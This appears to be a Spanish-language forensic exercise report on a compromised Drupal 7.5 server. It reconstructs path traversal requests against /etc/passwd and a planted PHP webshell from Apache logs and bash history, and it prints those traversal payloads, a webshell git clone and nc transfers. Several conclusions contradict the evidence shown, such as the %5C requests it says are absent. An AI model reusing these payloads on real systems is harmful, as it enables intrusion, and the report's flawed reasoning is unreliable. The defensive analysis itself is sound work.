10.1.0.7 - - [10/Jun/2021:22:23:28 +0000] "GET /drupal/?q=../../../../../../etc/issue HTTP/1.1" 404 7755 "-" "Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)"

┌──(root㉿kalicarles)-[~]
└─#
```

Análisis con las 7W

Who?

El atacante con dirección IP 10.1.0.7. Esta IP es la misma que aparece en el ataque de fuerza bruta a FTP y en el posterior acceso SSH, situando esta actividad como parte de una cadena de ataque coordinada.

What?

Se realizó un ataque de path traversal contra el CMS Drupal, intentando acceder a archivos sensibles del sistema operativo fuera del directorio web. El atacante utilizó el parámetro q de la URL para realizar múltiples variantes de path traversal (../, ../../, ../../../, etc.) intentando leer archivos como /etc/passwd y /etc/issue.

When?

Entre las 22:23:24 y las 22:24:07 UTC del 10 de junio de 2021. El ataque duró aproximadamente 43 segundos, durante los cuales el atacante realizó múltiples peticiones HTTP con diferentes variantes de path traversal.

Where?

El ataque se dirigió contra el CMS Drupal alojado en el servidor web (Apache). Las peticiones se realizaron a la URL /drupal/?q=... y quedaron registradas en el archivo /var/log/apache2/access.log.

Why?

El atacante realizó este ataque como parte de su fase de explotación y reconocimiento avanzado. El path traversal le permitía: 1) Verificar si el servidor era vulnerable a este tipo de ataque, 2) Leer archivos sensibles como /etc/passwd para obtener información de usuarios del sistema, y 3) Leer /etc/issue para identificar la distribución Linux y planificar ataques posteriores. Este ataque fue el paso previo que le permitió ejecutar código y gracias a eso pudo cambiar la contraseña de han_solo.

How?

El atacante realizó peticiones HTTP GET a la URL /drupal/?q= añadiendo diferentes combinaciones de path traversal. Utilizó tres variantes principales: 1) Path traversal con barras normales (../etc/passwd), 2) Path traversal con barras escapadas (..%2fetc%2fpasswd), y 3) Path traversal con barras invertidas (..\etc\passwd). Cada variante fue probada con diferentes niveles de profundidad (1 a 6 niveles de ../).

Which?

El servicio Apache/Drupal fue el objetivo directo. Los archivos sensibles intentados fueron /etc/passwd (información de usuarios) y /etc/issue (información del sistema). El archivo de log /var/log/apache2/access.log contiene el registro completo de todas las peticiones. Este ataque permitió al atacante posteriormente ejecutar código remoto (CVE-2014-3704) y comprometer el sistema.

Evidencias

Captura 1: Identificación del ataque de path traversal en los logs de Apache (intentos a /etc/passwd)

Comando ejecutado: strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "drupal" | grep "passwd" | head -15

```
┌──(root㉿kalicarles)-[~]
└─# strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "drupal" | grep "passwd" | head -15

10.1.0.7 - - [10/Jun/2021:22:23:24 +0000] "GET /drupal/?q=../../etc/passwd HTTP/1.1" 404 7673 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5
29; .NET CLR 3.0.30618; MAXTHON 2.0)"
10.1.0.7 - - [10/Jun/2021:22:23:25 +0000] "GET /drupal/?q=../../etc/passwd HTTP/1.1" 404 7688 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.3) Gecko/20040910"
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../etc/passwd HTTP/1.1" 404 7704 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050811 Firefox/1.0.6"
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../../etc/passwd HTTP/1.1" 404 7721 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 GNU/Linux/x86_64
10.1.0.7 - - [10/Jun/2021:22:23:27 +0000] "GET /drupal/?q=../../../../../etc/passwd HTTP/1.1" 404 7739 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070227 BonEcho/
10.1.0.7 - - [10/Jun/2021:22:23:28 +0000] "GET /drupal/?q=../../../../../../etc/passwd HTTP/1.1" 404 7758 "-" "w3m/0.5.2"
10.1.0.7 - - [10/Jun/2021:22:23:29 +0000] "GET /drupal/?q=..%5Cetc%5Cpasswd HTTP/1.1" 404 7663 "-" "Mozilla/5.0 (X11; U; Slackware Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) C
10.1.0.7 - - [10/Jun/2021:22:23:29 +0000] "GET /drupal/?q=..%5C..%5Cetc%5Cpasswd HTTP/1.1" 404 7673 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/8.04 (ha
10.1.0.7 - - [10/Jun/2021:22:23:30 +0000] "GET /drupal/?q=..%5C..%5C..%5Cetc%5Cpasswd HTTP/1.1" 404 7683 "-" "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.89; Windows NT 6.0; SLC
10.1.0.7 - - [10/Jun/2021:22:23:31 +0000] "GET /drupal/?q=..%5C..%5C..%5C..%5Cetc%5Cpasswd HTTP/1.1" 404 7693 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/2006
10.1.0.7 - - [10/Jun/2021:22:23:32 +0000] "GET /drupal/?q=..%5C..%5C..%5C..%5C..%5Cetc%5Cpasswd HTTP/1.1" 404 7703 "-" "iCab/4.0 (Windows; U; Windows NT 6.0; en-gb)"
10.1.0.7 - - [10/Jun/2021:22:23:32 +0000] "GET /drupal/?q=..%5C..%5C..%5C..%5C..%5C..%5Cetc%5Cpasswd HTTP/1.1" 404 7713 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) G
10.1.0.7 - - [10/Jun/2021:22:23:33 +0000] "GET /drupal/?q=..%2fetc%2fpasswd HTTP/1.1" 404 7673 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3
10.1.0.7 - - [10/Jun/2021:22:23:34 +0000] "GET /drupal/?q=..%2f..%2fetc%2fpasswd HTTP/1.1" 404 7688 "-" "Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Safari
10.1.0.7 - - [10/Jun/2021:22:23:35 +0000] "GET /drupal/?q=..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 404 7704 "-" "ELinks/0.10.3 (textmode; Linux; 80×24-2)"
```

El log muestra múltiples intentos de acceder a /etc/passwd utilizando diferentes niveles de profundidad (1 a 6 niveles de ../) y dos variantes de path traversal: barras normales (../) y barras escapadas (%2f).

Captura 2: Identificación del ataque de path traversal en los logs de Apache (intentos a /etc/issue)

Comando ejecutado: strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "drupal" | grep "issue" | head -15

```
┌──(root㉿kalicarles)-[~]
└─# strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "drupal" | grep "issue" | head -15
10.1.0.7 - - [10/Jun/2021:22:23:24 +0000] "GET /drupal/?q=../etc/issue HTTP/1.1" 404 7670 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.20) Gecko/20081217 Fi
10.1.0.7 - - [10/Jun/2021:22:23:25 +0000] "GET /drupal/?q=../../etc/issue HTTP/1.1" 404 7685 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, l
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../etc/issue HTTP/1.1" 404 7701 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NE
.30729; .NET CLR 3.0.30618)"
10.1.0.7 - - [10/Jun/2021:22:23:27 +0000] "GET /drupal/?q=../../../../etc/issue HTTP/1.1" 404 7718 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.
PC 6.0)"
10.1.0.7 - - [10/Jun/2021:22:23:27 +0000] "GET /drupal/?q=../../../../../etc/issue HTTP/1.1" 404 7736 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR
eConnector.1.3; OfficeLivePatch.1.3; Lunascape 5.0.5.0)"
10.1.0.7 - - [10/Jun/2021:22:23:28 +0000] "GET /drupal/?q=../../../../../../etc/issue HTTP/1.1" 404 7755 "-" "Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)"
10.1.0.7 - - [10/Jun/2021:22:23:29 +0000] "GET /drupal/?q=..%5Cetc%5Cissue HTTP/1.1" 404 7660 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.0.12) Gecko/20070508 F
10.1.0.7 - - [10/Jun/2021:22:23:30 +0000] "GET /drupal/?q=..%5C..%5Cetc%5Cissue HTTP/1.1" 404 7670 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ro-RO; rv:1.7.6) Gecko/20056
10.1.0.7 - - [10/Jun/2021:22:23:31 +0000] "GET /drupal/?q=..%5C..%5C..%5Cetc%5Cissue HTTP/1.1" 404 7680 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.9) Gecko/2
10.1.0.7 - - [10/Jun/2021:22:23:31 +0000] "GET /drupal/?q=..%5C..%5C..%5C..%5Cetc%5Cissue HTTP/1.1" 404 7690 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/
LR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.1.5.21576)"
10.1.0.7 - - [10/Jun/2021:22:23:32 +0000] "GET /drupal/?q=..%5C..%5C..%5C..%5C..%5Cetc%5Cissue HTTP/1.1" 404 7700 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9
10.1.0.7 - - [10/Jun/2021:22:23:33 +0000] "GET /drupal/?q=..%5C..%5C..%5C..%5C..%5C..%5Cetc%5Cissue HTTP/1.1" 404 7710 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Cl
10.1.0.7 - - [10/Jun/2021:22:23:34 +0000] "GET /drupal/?q=..%2fetc%2fissue HTTP/1.1" 404 7670 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2
onnector.1.3; OfficeLivePatch.0.0; Lunascape 5.0.5.0)"
10.1.0.7 - - [10/Jun/2021:22:23:34 +0000] "GET /drupal/?q=..%2f..%2fetc%2fissue HTTP/1.1" 404 7685 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KH
10.1.0.7 - - [10/Jun/2021:22:23:35 +0000] "GET /drupal/?q=..%2f..%2f..%2fetc%2fissue HTTP/1.1" 404 7701 "-" "Mozilla/5.0 (compatible; Konqueror/3.5; Linux; x86_64) KHTML/3.5

┌──(root㉿kalicarles)-[~]
└─# 
```

De forma similar, el atacante intentó acceder a /etc/issue para identificar la distribución Linux del sistema, utilizando las mismas variantes y niveles de profundidad.

Captura 3: Verificación de las diferentes variantes de path traversal utilizadas (barras normales + escapadas)

Comando ejecutado: strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "drupal" | grep -E "\.\./|\.\.%2f" | head -15

```
┌──(root㉿kalicarles)-[~]
└─# strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "drupal" | grep -E "\.\./|\.\.%2f" | head -15
10.1.0.7 - - [10/Jun/2021:22:23:24 +0000] "GET /drupal/?q=../etc/passwd HTTP/1.1" 404 7673 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727;
29; .NET CLR 3.0.30618; MAXTHON 2.0)"
10.1.0.7 - - [10/Jun/2021:22:23:24 +0000] "GET /drupal/?q=../etc/issue HTTP/1.1" 404 7670 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.20) Gecko/20081217 Fi
10.1.0.7 - - [10/Jun/2021:22:23:25 +0000] "GET /drupal/?q=../../etc/passwd HTTP/1.1" 404 7688 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.3) Gecko/20040910"
10.1.0.7 - - [10/Jun/2021:22:23:25 +0000] "GET /drupal/?q=../../etc/issue HTTP/1.1" 404 7685 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, l
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../etc/passwd HTTP/1.1" 404 7704 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050811 Firef
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../etc/issue HTTP/1.1" 404 7701 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NE
.30729; .NET CLR 3.0.30618)"
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../../etc/passwd HTTP/1.1" 404 7721 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327
10.1.0.7 - - [10/Jun/2021:22:23:27 +0000] "GET /drupal/?q=../../../../etc/issue HTTP/1.1" 404 7718 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.
PC 6.0)"
10.1.0.7 - - [10/Jun/2021:22:23:27 +0000] "GET /drupal/?q=../../../../../etc/passwd HTTP/1.1" 404 7739 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko
10.1.0.7 - - [10/Jun/2021:22:23:27 +0000] "GET /drupal/?q=../../../../../etc/issue HTTP/1.1" 404 7736 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR
eConnector.1.3; OfficeLivePatch.1.3; Lunascape 5.0.5.0)"
10.1.0.7 - - [10/Jun/2021:22:23:28 +0000] "GET /drupal/?q=../../../../../../etc/passwd HTTP/1.1" 404 7758 "-" "w3m/0.5.2"
10.1.0.7 - - [10/Jun/2021:22:23:28 +0000] "GET /drupal/?q=../../../../../../etc/issue HTTP/1.1" 404 7755 "-" "Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)"
10.1.0.7 - - [10/Jun/2021:22:23:33 +0000] "GET /drupal/?q=..%2fetc%2fpasswd HTTP/1.1" 404 7673 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.3) Gecko/2006042
10.1.0.7 - - [10/Jun/2021:22:23:34 +0000] "GET /drupal/?q=..%2fetc%2fissue HTTP/1.1" 404 7670 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2
onnector.1.3; OfficeLivePatch.0.0; Lunascape 5.0.5.0)"
10.1.0.7 - - [10/Jun/2021:22:23:34 +0000] "GET /drupal/?q=..%2f..%2fetc%2fpasswd HTTP/1.1" 404 7688 "-" "Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2+ (KHTML,

┌──(root㉿kalicarles)-[~]
└─# 
```

El atacante utilizó dos variantes principales de path traversal: barras normales (../) y barras escapadas en URL (%2f). No se observaron intentos con barras invertidas (%5c).

Captura 4: Conteo total de intentos

Comando ejecutado: strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "drupal" | grep -E "\.\./|\.\.%2f" | wc -l

```
┌──(root㉿kalicarles)-[~]
└─# strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "drupal" | grep -E "\.\./|\.\.%2f" | wc -l

24

┌──(root㉿kalicarles)-[~]
└─# 
```

Se registraron un total de 24 intentos de path traversal desde la IP del atacante 10.1.0.7 contra el CMS Drupal.

Captura 5: Rango horario (primera petición)

Comando ejecutado: strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "drupal" | head -1 | awk '{print $4}'

```
┌──(root㉿kalicarles)-[~]
└─# strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "drupal" | head -1 | awk '{print $4}'
[10/Jun/2021:22:23:24

┌──(root㉿kalicarles)-[~]
└─#
```

La primera petición de path traversal se registró a las 22:23:24 del 10 de junio de 2021.

Captura 6: Rango horario (última petición)

Comando ejecutado: strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "drupal" | tail -1 | awk '{print $4}'

```
┌──(root㉿kalicarles)-[~]
└─# strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "drupal" | tail -1 | awk '{print $4}'
[10/Jun/2021:22:24:07

┌──(root㉿kalicarles)-[~]
└─#
```

La última petición se registró a las 22:24:07 del 10 de junio de 2021. El ataque duró aproximadamente 43 segundos.

Captura 7: Versión de Drupal (vulnerable)

Comando ejecutado: head -5 /mnt/sistema_root/var/www/html/drupal/CHANGELOG.txt

```
┌──(root㉿kalicarles)-[~]
└─# head -5 /mnt/sistema_root/var/www/html/drupal/CHANGELOG.txt


Drupal 7.5, 2011-07-27
----------------------
- Fixed security issue (Access bypass), see SA-CORE-2011-003.


┌──(root㉿kalicarles)-[~]
└─#
```

El archivo CHANGELOG.txt confirma que la versión de Drupal instalada es la 7.5, publicada en julio de 2011. Esta versión es anterior a la 7.32, por lo tanto es vulnerable a CVE-2014-3704 (Drupalgeddon).

6. Para conseguir persistencia, es probable que el atacante haya dejado una webshell. Descubrir cuál es y si se llegó a utilizar.

La webshell utilizada es wwwolf-php-webshell, una webshell escrita en PHP que permite ejecutar comandos en el sistema a través de peticiones HTTP POST.

Estaba en el directorio /var/www/html/tmp/wwwolf-php-webshell/webshell.php, con fecha 11 de junio de 2021. Y fue descargada desde el github.

```
┌──(root㉿kalicarles)-[~]
└─# find /mnt/sistema_root/var/www/html/ -name "*.php" -newermt "2021-06-10" -exec ls -la {} \; 2>/dev/null

-rw-r--r-- 1 root root 7205 jun 11  2021 /mnt/sistema_root/var/www/html/tmp/wwwolf-php-webshell/webshell.php
```

```
┌──(root㉿kalicarles)-[~]
└─# cat /mnt/sistema_root/root/.bash_history

exit
./avml volcado.mem
cd avml
ls
ls -lisa
chmod +x avml
ls -lisa
./avml volcado.mem
nc -N 10.1.0.9 9999 < volcado.mem
nc  10.1.0.9 9999 < volcado.mem
md5sum volcado.mem
ping 10.1.0.9
nc  10.1.0.8 9999 < volcado.mem
init 0
mkdir tmp
cd tmp/
git clone https://github.com/WhiteWinterWolf/wwwolf-php-webshell

┌──(root㉿kalicarles)-[~]
└─#
```

Sí, se utilizó. En los logs de Apache hay registrados múltiples peticiones POST a la webshell desde la IP del atacante (10.1.0.7) entre las 22:35:03 y las 22:35:55 del 10 de junio de 2021.

```
┌──(root㉿kalicarles)-[~]
└─# grep -a "wwwolf" /mnt/sistema_root/var/log/apache2/access.log*

10.1.0.7 - - [10/Jun/2021:22:35:03 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 770 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
10.1.0.7 - - [10/Jun/2021:22:35:06 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 769 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
10.1.0.7 - - [10/Jun/2021:22:35:11 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 806 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
10.1.0.7 - - [10/Jun/2021:22:35:25 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 766 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
10.1.0.7 - - [10/Jun/2021:22:35:31 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 765 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
10.1.0.7 - - [10/Jun/2021:22:35:33 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 764 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
10.1.0.7 - - [10/Jun/2021:22:35:35 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 764 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
10.1.0.7 - - [10/Jun/2021:22:35:36 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 764 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
10.1.0.7 - - [10/Jun/2021:22:35:39 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 765 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
10.1.0.7 - - [10/Jun/2021:22:35:55 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 1535 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php"
```

- Webshell: wwwolf-php-webshell (webshell.php)
- Ubicación: /var/www/html/tmp/wwwolf-php-webshell/webshell.php
- ¿Se utilizó?: Sí, entre las 22:35:03 y 22:35:55 del 10/06/2021.

Análisis con las 7W

Who?

El atacante con dirección IP 10.1.0.7. Esta IP es la misma que ha aparecido en todas las actividades maliciosas anteriores (FTP, Drupal, SSH), confirmando que el mismo atacante instaló y utilizó la webshell.

What?

El atacante descargó e instaló una webshell llamada wwwolf-php-webshell en el sistema, y posteriormente la utilizó para ejecutar comandos de forma remota a través de peticiones HTTP POST. Este mecanismo le permitía mantener acceso al sistema incluso si las credenciales SSH eran detectadas o modificadas.

When?

La webshell fue descargada el 10 de junio de 2021 (fecha del directorio) y fue utilizada entre las 22:35:03 y las 22:35:55 UTC. El uso de la webshell ocurrió después del acceso SSH y escalada a root, como medida de persistencia.

Where?

La webshell se encontraba en el directorio:
/var/www/html/tmp/wwwolf-php-webshell/webshell.php.

Las peticiones quedaron registradas en /var/log/apache2/access.log.

Why?

Para establecer persistencia en el sistema, asegurando un acceso posterior incluso si: 1) la vulnerabilidad de Drupal era parcheada, 2) el usuario han_solo cambiaba su contraseña, o 3) el acceso SSH era detectado y bloqueado. Una webshell proporciona un backdoor oculto que permite ejecutar comandos a través de peticiones web aparentemente legítimas.

How?

El atacante clonó el repositorio de GitHub WhiteWinterWolf/wwwolf-php-webshell utilizando el comando git clone. Posteriormente, realizó peticiones POST a webshell.php desde su IP 10.1.0.7, ejecutando comandos remotos en el sistema. Cada petición POST devolvió un código de estado 200, confirmando que la webshell se ejecutó correctamente.

Which?

El directorio /var/www/html/tmp/wwwolf-php-webshell/ fue creado para albergar la webshell. El archivo webshell.php (7,1K) es el núcleo de la herramienta. Los logs de Apache (/var/log/apache2/access.log) registran las peticiones POST realizadas por el atacante.

Evidencias

Captura 1: Descarga de la webshell desde GitHub

Comando ejecutado: cat /mnt/sistema_root/root/.bash_history | grep "git clone"

```
┌──(root㉿kalicarles)-[~]
└─# cat /mnt/sistema_root/root/.bash_history | grep "git clone"
git clone https://github.com/WhiteWinterWolf/wwwolf-php-webshell

┌──(root㉿kalicarles)-[~]
└─#
```

El historial de comandos del usuario root muestra que el atacante clonó el repositorio de GitHub WhiteWinterWolf/wwwolf-php-webshell, que contiene una webshell escrita en PHP. Este repositorio es conocido por proporcionar una shell web que permite ejecutar comandos en el servidor a través de peticiones HTTP.

Captura 2: Ubicación de la webshell en el sistema

Comando ejecutado: ls -la /mnt/sistema_root/var/www/html/tmp/wwwolf-php-webshell/

```
┌──(root㉿kalicarles)-[~]
└─# ls -lh /mnt/sistema_root/var/www/html/tmp/wwwolf-php-webshell/
total 100K
-rw-r--r-- 1 root root  35K jun 11  2021 LICENSE
-rwxr-xr-x 1 root root 3,8K jun 11  2021 passhash.sh
-rw-r--r-- 1 root root 3,9K jun 11  2021 README.md
-rw-r--r-- 1 root root  48K jun 11  2021 screenshot.png
-rw-r--r-- 1 root root 7,1K jun 11  2021 webshell.php

┌──(root㉿kalicarles)-[~]
└─#
```

El directorio wwwolf-php-webshell fue creado en /var/www/html/tmp/ con fecha 11 de junio de 2021. El archivo principal es webshell.php, que tiene un tamaño de 7,1K. El directorio está dentro del path web (/var/www/html), lo que permite acceder a la webshell a través de peticiones HTTP.

Captura 3: Uso de la webshell (peticiones POST)

Comando ejecutado: strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "webshell.php" | head -10

```
┌──(root㉿kalicarles)-[~]
└─# strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "webshell.php" | head -10
10.1.0.7 - - [10/Jun/2021:22:35:03 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 770 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:06 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 769 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:11 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 806 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:25 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 766 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:31 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 765 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:33 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 764 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:35 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 764 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:36 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 764 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:39 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 765 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:55 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 1535 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"

┌──(root㉿kalicarles)-[~]
└─#
```

Los logs de Apache muestran múltiples peticiones POST a webshell.php desde la IP 10.1.0.7. Cada petición devolvió un código de estado 200, indicando que la webshell se ejecutó correctamente. Este es el patrón característico del uso de una webshell, donde el atacante envía comandos en el cuerpo de la petición POST y recibe la respuesta en el cuerpo de la respuesta HTTP.

Captura 4: Rango horario de uso de la webshell

Comando ejecutado: strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "webshell.php" | head -1 | awk '{print $4}'

strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "webshell.php" | tail -1 | awk '{print $4}'

```
┌──(root㉿kalicarles)-[~]
└─# strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "webshell.php" | head -1 | awk '{print $4}'

[10/Jun/2021:22:35:03

┌──(root㉿kalicarles)-[~]
└─# strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "webshell.php" | tail -1 | awk '{print $4}'

[10/Jun/2021:22:35:55

┌──(root㉿kalicarles)-[~]
└─#
```

La primera petición POST a la webshell fue a las 22:35:03 y la última a las 22:35:55. El atacante utilizó la webshell durante aproximadamente 52 segundos, ejecutando múltiples comandos de forma remota. Este rango horario es posterior al acceso SSH (22:32:29) y a la escalada a root (22:33:06), confirmando que la webshell fue instalada como medida de persistencia una vez que el atacante ya tenía control total del sistema.

Captura 5: Conteo total de peticiones a la webshell

Comando ejecutado: strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "webshell.php" | wc -l

```
┌──(root㉿kalicarles)-[~]
└─# strings /mnt/sistema_root/var/log/apache2/access.log | grep "10.1.0.7" | grep "webshell.php" | wc -l

10

┌──(root㉿kalicarles)-[~]
└─#
```

Se registraron un total de 10 peticiones POST a la webshell desde la IP del atacante, todas con respuesta exitosa (código 200). Este número de peticiones indica un uso activo y sostenido de la webshell, donde el atacante ejecutó diferentes comandos para explorar el sistema, exfiltrar información o preparar futuros accesos.

